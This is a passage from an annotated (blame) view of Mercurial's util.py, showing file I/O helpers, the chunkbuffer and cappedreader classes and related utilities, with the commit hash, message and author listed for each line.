15057
diff
changeset
|
2264 if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2265 raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2266 makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2267 try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2268 makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2269 except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2270 # Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2271 if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2272 return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2273 raise |
18678
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2274 if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2275 os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
2276 |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2277 def readfile(path): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
2278 with open(path, 'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
2279 return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2280 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2281 def writefile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
2282 with open(path, 'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2283 fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2284 |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2285 def appendfile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
2286 with open(path, 'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2287 fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2288 |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2289 class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2290 """Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2291 iterator over chunks of arbitrary size.""" |
1200 | 2292 |
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
2293 def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
2294 """in_iter is the iterator that's iterating over the input chunks.""" |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2295 def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2296 for chunk in chunks: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2297 if len(chunk) > 2**20: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2298 pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2299 while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2300 end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2301 yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2302 pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2303 else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2304 yield chunk |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2305 self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
2306 self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2307 self._chunkoffset = 0 |
1200 | 2308 |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2309 def read(self, l=None): |
1200 | 2310 """Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2311 Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2312 |
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
2313 If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2314 if l is None: |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2315 return ''.join(self.iter) |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2316 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2317 left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2318 buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
2319 queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2320 while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2321 # refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2322 if not queue: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2323 target = 2**18 |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2324 for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2325 queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2326 target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2327 if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2328 break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2329 if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2330 break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2331 |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2332 # The easy way to do this would be to queue.popleft(), modify the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2333 # chunk (if necessary), then queue.appendleft(). However, for cases |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2334 # where we read partial chunk content, this incurs 2 dequeue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2335 # mutations and creates a new str for the remaining chunk in the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2336 # queue. Our code below avoids this overhead. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2337 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2338 chunk = queue[0] |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2339 chunkl = len(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2340 offset = self._chunkoffset |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2341 |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2342 # Use full chunk. |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2343 if offset == 0 and left >= chunkl: |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2344 left -= chunkl |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2345 queue.popleft() |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2346 buf.append(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2347 # self._chunkoffset remains at 0. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2348 continue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2349 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2350 chunkremaining = chunkl - offset |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2351 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2352 # Use all of unconsumed part of chunk. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2353 if left >= chunkremaining: |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2354 left -= chunkremaining |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2355 queue.popleft() |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2356 # offset == 0 is enabled by block above, so this won't merely |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2357 # copy via ``chunk[0:]``. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2358 buf.append(chunk[offset:]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2359 self._chunkoffset = 0 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2360 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2361 # Partial chunk needed. |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2362 else: |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2363 buf.append(chunk[offset:offset + left]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2364 self._chunkoffset += left |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2365 left -= chunkremaining |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2366 |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2367 return ''.join(buf) |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2368 |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2369 def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2370 """Create a generator that produces the data in the file size |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2371 (default 131072) bytes at a time, up to optional limit (default is |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2372 to read all data). Chunks may be less than size bytes if the |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2373 chunk is the last chunk in the file, or the file is a socket or |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2374 some other type of file that sometimes reads less data than is |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2375 requested.""" |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2376 assert size >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2377 assert limit is None or limit >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2378 while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2379 if limit is None: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2380 nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2381 else: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2382 nbytes = min(limit, size) |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2383 s = nbytes and f.read(nbytes) |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2384 if not s: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2385 break |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2386 if limit: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2387 limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2388 yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
2389 |
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2390 class cappedreader(object): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2391 """A file object proxy that allows reading up to N bytes. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2392 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2393 Given a source file object, instances of this type allow reading up to |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2394 N bytes from that source file object. Attempts to read past the allowed |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2395 limit are treated as EOF. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2396 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2397 It is assumed that I/O is not performed on the original file object |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2398 in addition to I/O that is performed by this instance. If there is, |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2399 state tracking will get out of sync and unexpected results will ensue. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2400 """ |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2401 def __init__(self, fh, limit): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2402 """Allow reading up to <limit> bytes from <fh>.""" |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2403 self._fh = fh |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2404 self._left = limit |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2405 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2406 def read(self, n=-1): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2407 if not self._left: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2408 return b'' |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2409 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2410 if n < 0: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2411 n = self._left |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2412 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2413 data = self._fh.read(min(n, self._left)) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2414 self._left -= len(data) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2415 assert self._left >= 0 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2416 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2417 return data |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2418 |
37052
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2419 def readinto(self, b): |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2420 res = self.read(len(b)) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2421 if res is None: |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2422 return None |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2423 |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2424 b[0:len(res)] = res |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2425 return len(res) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2426 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2427 def unitcountfn(*unittable): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2428 '''return a function that renders a readable count of some quantity''' |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2429 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2430 def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2431 for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2432 if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2433 return format % (count / float(divisor)) |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2434 return unittable[-1][2] % count |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2435 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2436 return go |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2437 |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2438 def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2439 """Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2440 0-based range. |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2441 |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2442 >>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2443 (9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2444 >>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2445 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2446 ... |
080734cd2440
revset: factor out linerange processing into a utility function
